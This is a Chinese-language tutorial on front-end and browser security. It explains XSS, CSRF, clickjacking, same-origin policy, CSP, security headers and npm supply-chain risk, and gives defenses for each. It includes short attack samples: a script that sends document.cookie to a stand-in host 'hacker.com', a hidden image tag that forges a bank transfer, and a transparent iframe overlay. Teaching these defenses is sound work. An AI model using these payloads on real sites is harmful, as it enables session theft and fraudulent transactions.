前端与浏览器安全知识详解

一、跨站脚本攻击（XSS）

攻击原理

定义：攻击者向页面注入恶意脚本（如 JavaScript），在用户浏览时执行，窃取 Cookie、篡改页面等。
分类：
- 存储型 XSS：恶意脚本存储到服务器（如评论区）。
- 反射型 XSS：恶意脚本通过 URL 参数反射到页面。
- DOM 型 XSS：前端直接操作 DOM 导致漏洞。

图文案例

攻击代码：

html 复制代码

用户提交评论内容：
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>

防护措施

输入过滤 ：对用户输入进行转义（如将 < 转义为 <）。

输出编码 ：

javascript 复制代码

// 使用框架内置的编码函数
const safeOutput = _.escape(userInput); // Lodash

设置 HTTP 头 ：

http 复制代码

Content-Security-Policy: script-src 'self' 禁止加载外部脚本

二、跨站请求伪造（CSRF）

攻击原理

定义：诱导用户访问恶意页面，利用已登录状态伪造用户身份发起请求（如转账）。
核心条件：用户已登录目标网站且未登出。

攻击代码：

html 复制代码

<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">

防护措施

CSRF Token ：

html 复制代码

<form action="/transfer">
  <input type="hidden" name="csrf_token" value="{{csrfToken}}">
</form>

SameSite Cookie ：

http 复制代码

Set-Cookie: sessionId=abc123; SameSite=Strict

验证 Referer/Origin：检查请求来源是否合法。

三、点击劫持（Clickjacking）

攻击原理

定义：攻击者通过透明 iframe 覆盖在正常页面上，诱导用户点击隐藏按钮（如点赞、关注）。

攻击代码：

html 复制代码

<style>
  iframe {
    opacity: 0;
    position: absolute;
    top: 0;
    left: 0;
  }
</style>
<iframe src="https://social.com/like?post=123"></iframe>

防护措施

设置 X-Frame-Options ：

http 复制代码

X-Frame-Options: DENY  // 禁止页面被嵌入 iframe

使用 CSP ：

http 复制代码

Content-Security-Policy: frame-ancestors 'none'

四、浏览器安全策略

1. 同源策略（Same-Origin Policy）

规则：禁止页面读取不同源（协议+域名+端口）的资源。
绕过风险：错误配置 CORS 导致数据泄露。

2. 内容安全策略（CSP）

配置示例 ：

http 复制代码

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

3. 安全头配置

http 复制代码

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

五、第三方依赖风险

案例：恶意 npm 包

事件：event-stream 包被注入恶意代码，窃取比特币钱包。
防护：
1. 使用 npm audit 检查依赖漏洞。
2. 锁定版本号（package-lock.json）。
3. 使用 Snyk、Dependabot 扫描依赖。

六、安全防护工具

浏览器 DevTools ：
- 检查 Network 请求中的敏感信息泄露。
- 使用 Security 面板查看 HTTPS 和 CSP 状态。
自动化扫描 ：
- OWASP ZAP：检测 XSS、SQL 注入等漏洞。
- Lighthouse：审计安全头配置。

总结：前端安全防护清单

风险类型	防护手段
XSS	输入过滤、输出编码、CSP、避免 `innerHTML`
CSRF	CSRF Token、SameSite Cookie、验证 Referer
点击劫持	X-Frame-Options、CSP 的 `frame-ancestors`
数据泄露	禁用 `document.cookie`、敏感数据不存 localStorage
第三方依赖	定期更新依赖、使用 `npm audit`
HTTPS	全站 HTTPS、HSTS 头、禁用混合内容（HTTP 资源）